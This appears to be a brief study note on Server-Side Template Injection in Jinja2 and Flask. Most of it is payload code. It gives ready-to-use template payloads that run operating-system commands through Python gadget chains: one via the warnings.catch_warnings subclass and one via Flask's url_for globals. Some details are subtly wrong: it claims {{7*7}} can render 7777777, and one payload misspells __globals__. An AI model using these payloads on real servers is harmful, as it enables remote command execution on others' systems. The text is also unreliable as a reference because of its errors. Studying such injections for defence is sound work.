Server-Side Template Injection (SSTI)

Lecture

Server-Side Template Injection Explained - PwnFunction

Summary

If Jinja2 evaluates {{7*7}} to 49 or 7777777, then it is vulnerable to SSTI. The naive idea is to inject {{ import os ; os.system('id') }}, but import is filtered by Jinja2. Remember that everything in Python is an object, hence we can reach the same goal utilizing a chain of gadgets. For example:

{{''.__class__.__base__.__subclasses__()[139].__init__.globals__['sys'].modules['os'].popen('id').read()}}

Here ''.__class__.__base__.__subclasses__()[139] refers to the class <class 'warnings.catch_warnings'>. The index 139 may vary on different machines so you need to figure it out. Use the following code to print out a lookup table and look for <class 'warnings.catch_warnings'>:

for index, item in enumerate(''.__class__.__base__.__subclasses__()):
    print(index, item)

We choose this class since it imports sys. This fact can be verified by viewing CPython source code:

For me, the index is 139, therefore the final payload is:

{{
    ''.__class__
    .__base__
    .__subclasses__()[139]
    .__init__
    .globals__['sys']
    .modules['os']
    .popen('id')
    .read()
}}

For Flask, there is a shortcut. Check out the source code of flask.url_for():

Note that this file imports os, hence the payload is:

{{
    url_for
    .__globals__
    .os
    .popen('id')
    .read()
}}

Takeaway: Never do eval(code + input).

Last updated